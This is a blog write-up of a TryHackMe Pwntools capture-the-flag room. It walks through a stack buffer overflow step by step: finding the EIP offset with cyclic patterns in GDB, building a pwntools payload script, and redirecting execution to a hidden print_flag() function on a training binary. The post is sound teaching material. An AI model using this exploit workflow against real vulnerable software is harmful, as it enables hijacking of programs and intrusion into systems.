Sitemap
Abiaccess

Abiaccess

Intro To Pwntools- TryHackMe

6 min readJul 22, 2026

--

Phase 2 — Finding the Exact Offset & Taking Control of EIP 🎯

Press enter or click to view image in full size

“Blindly smashing the stack is fun… until you realize you have no idea where your payload actually lands.”

In Phase 1, we confirmed that the binary was vulnerable to a stack buffer overflow. We also managed to overwrite the program and make it crash.

But crashing a program isn’t exploitation.

Real exploitation starts when you know exactly which bytes overwrite the saved return address (EIP).

This phase is all about turning random crashes into precise control.

🎯 Objective

By the end of this phase, we wanted to:

  • Generate a unique cyclic pattern
  • Crash the binary
  • Find the exact EIP offset
  • Build a clean exploit payload
  • Overwrite EIP with a value of our choice
  • Redirect execution to the hidden print_flag() function
  • Retrieve the flag

No guessing.
No random payloads.

Everything becomes calculated.

Understanding the Problem

Let’s quickly revisit the vulnerable function.

void start(){
char name[24];
gets(name);
}

The dangerous function here is:

gets(name);

Unlike modern input functions such as fgets(), gets() doesn't know the size of the buffer.

If the user enters more than 24 bytes, it simply keeps writing into memory.

That means our input doesn’t stop inside the name variable.

Instead, it starts overwriting everything located above it on the stack.

A simplified stack looks something like this:

Higher Memory
+----------------------+
| Return Address (EIP) |
+----------------------+
| Saved Base Pointer |
+----------------------+
| name[24] |
+----------------------+
Lower Memory

If we keep typing…

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Eventually those As reach the saved return address.

Once that happens…

we decide where the CPU goes next.

That’s literally the foundation of classic stack buffer overflow exploitation.

Why “AAAAAA” Isn’t Enough

A lot of beginners test overflows like this:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

If the program crashes, GDB usually shows something like:

EIP = 0x41414141

0x41 is the hexadecimal value for the letter A.

Cool…

But here’s the problem.

How many A’s did it take?

24?

28?

32?

36?

40?

Nobody knows.

You’re basically guessing.

And guessing is the fastest way to waste hours debugging exploits.

Enter Pwntools’ Cyclic Pattern

Pwntools solves this problem beautifully.

Instead of repeating the same character…

it generates a completely unique pattern.

Every four bytes are different.

Example:

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaa...

Now, if EIP gets overwritten with:

jaaa

that sequence appears only once inside the pattern.

Which means Pwntools can instantly tell us the exact offset.

Pretty smart.

Step 1 — Generate the Pattern

The first command we ran was:

cyclic 100

Output:

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Instead of manually copying it, we redirected it into a file.

cyclic 100 > pattern

This created a file called:

pattern

which would later become our input.

Step 2 — Crash the Binary

Now we launched the program inside GDB.

gdb intro2pwn3

Inside GDB:

r < pattern

The binary immediately crashed.

Exactly what we wanted.

Crash Analysis

The most important part of the output was this:

Program received signal SIGSEGV, Segmentation fault.
EIP  0x6161616a ('jaaa')

This single line is worth more than the entire crash log.

Why?

Because it tells us the CPU tried executing:

jaaa

instead of a valid instruction.

Which means…

our input reached the saved return address.

And that’s huge.

For the first time…

we control the execution flow.

Understanding the Register Output

When we looked at the registers, we saw:

EBP  0x61616169 ('iaaa')
EIP  0x6161616a ('jaaa')

Let’s break this down.

Buffer
↓aaaa↓Saved EBP↓iaaa↓Saved Return Address↓jaaa

The pattern is literally walking through memory.

First it overwrites EBP.

Then it reaches EIP.

Exactly how a stack overflow should behave.

Step 3 — Finding the Exact Offset

Now comes my favorite Pwntools feature.

Instead of manually counting characters…

we simply asked Pwntools.

cyclic -l jaaa

Output:

36

Boom.

That means:

36 bytes
↓Saved Return Address

No guessing.

No counting.

No headache.

Visualizing the Offset

Think of our payload like this:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
↓36 bytes↓BBBB

Those first 36 bytes are just padding.

Get Abiaccess’s stories in your inbox

Join Medium for free to get updates from this writer.

The next 4 bytes become EIP.

Which means our exploit structure is officially:

[36 bytes padding]
+[New Return Address]

That’s exactly what every classic buffer overflow exploit starts with.

Step 4 — Building Our First Payload

Now it was time to generate a proper exploit.

The script looked like this:

from pwn import *
padding = cyclic(cyclic_find("jaaa"))
eip = p32(0xdeadbeef)
payload = padding + eipimport sys
sys.stdout.buffer.write(payload)

Let’s understand every line.

Finding the Padding Automatically

padding = cyclic(cyclic_find("jaaa"))

Instead of hardcoding:

padding = b"A"*36

Pwntools calculates it automatically.

Much cleaner.

Why p32()?

This line:

p32(0xdeadbeef)

converts the value into little-endian format.

Memory actually stores it as:

ef be ad de

instead of

de ad be ef

Pwntools handles that for us.

No manual conversion needed.

A Mistake I Made 🚨

At first I wrote:

print(payload)

Looks harmless…

but it completely breaks the exploit.

Python printed something like:

b'aaaa....\xef\xbe\xad\xde'

Notice those extra characters?

b'
'

Those aren’t part of the payload.

Python is showing a string representation instead of writing raw bytes.

That’s why the exploit failed.

The Correct Solution

Instead, I used:

sys.stdout.buffer.write(payload)

Now Python writes the exact bytes.

Nothing extra.

Exactly what the binary expects.

One small line…

Huge difference.

Creating the Payload File

Once the script was fixed:

python3 pwn_cyclic.py > attack

This generated our payload file.

Before using it, I verified everything.

Inspecting the Payload

Command:

xxd attack

Output:

00000000: 6161 6161 6261 6161 6361 6161 6461 6161
00000010: 6561 6161 6661 6161 6761 6161 6861 6161
00000020: 6961 6161 efbe adde

That last part is the most important:

ef be ad de

Exactly what 0xdeadbeef should look like in little-endian.

Payload looked perfect.

Step 5 — Testing Inside GDB

Time to verify.

Inside GDB:

r < attack

Registers showed:

EIP  0xdeadbeef

Mission accomplished.

We completely controlled EIP.

At this point…

the CPU would jump anywhere we wanted.

Final Exploit

Instead of using:

0xdeadbeef

we replaced it with the address of:

print_flag()

Generated the payload again.

Ran the binary.

./intro2pwn3 < attack

Output:

I run as dizmas.
Who are you?:
Getting Flag:
flag{13@rning_2_p...}

(Flag intentionally shortened.)

Seeing “Getting Flag:” was the confirmation that execution had successfully jumped into the hidden function.

No shellcode.

No ROP.

Just a clean control-flow hijack.

Real-World Connection 🌍

Although this room is beginner-friendly, the workflow is surprisingly close to how classic exploit development works.

A typical exploit often follows this exact sequence:

  1. Find the vulnerability.
  2. Trigger a crash.
  3. Determine the exact offset.
  4. Gain control over the instruction pointer.
  5. Redirect execution to your chosen code.

In older software, embedded systems, IoT devices, and legacy services, this technique was (and sometimes still is) incredibly effective.

Today, modern protections like Stack Canaries, NX, ASLR, and PIE make this much harder — but understanding the fundamentals is still essential.

Commands Used

Generate a cyclic pattern

cyclic 100

Save the pattern

cyclic 100 > pattern

Open the binary in GDB

gdb intro2pwn3

Run the binary with our pattern

r < pattern

Find the exact offset

cyclic -l jaaa

Output

36

Generate the exploit payload

python3 pwn_cyclic.py > attack

Verify the payload

xxd attack

Test the exploit

./intro2pwn3 < attack

Things I Learned 💡

  • A crash is just the beginning — real exploitation starts when you understand why it crashed.
  • cyclic removes the guesswork from finding offsets.
  • cyclic -l is one of the most useful Pwntools commands for exploit development.
  • EIP = 0xdeadbeef is the classic proof that you've taken control of execution.
  • p32() automatically handles little-endian conversion.
  • print(payload) can silently break binary exploits because it prints a Python representation instead of raw bytes.
  • sys.stdout.buffer.write() is the correct way to write binary payloads.
  • Always inspect your payload with xxd before testing—it can save a lot of debugging time.

⭐ Phase 2 Summary

This phase was the turning point of the room.

In Phase 1, we proved that the binary could crash.

In Phase 2, we transformed that crash into full control over the program’s execution flow. By using Pwntools’ cyclic patterns, we precisely identified the offset to EIP, crafted a reliable payload, and redirected execution into the hidden print_flag() function.

For the first time in this room, we weren’t just overflowing a buffer — we were telling the CPU exactly where to go next. That’s the moment when a simple crash becomes a real exploit.

--

--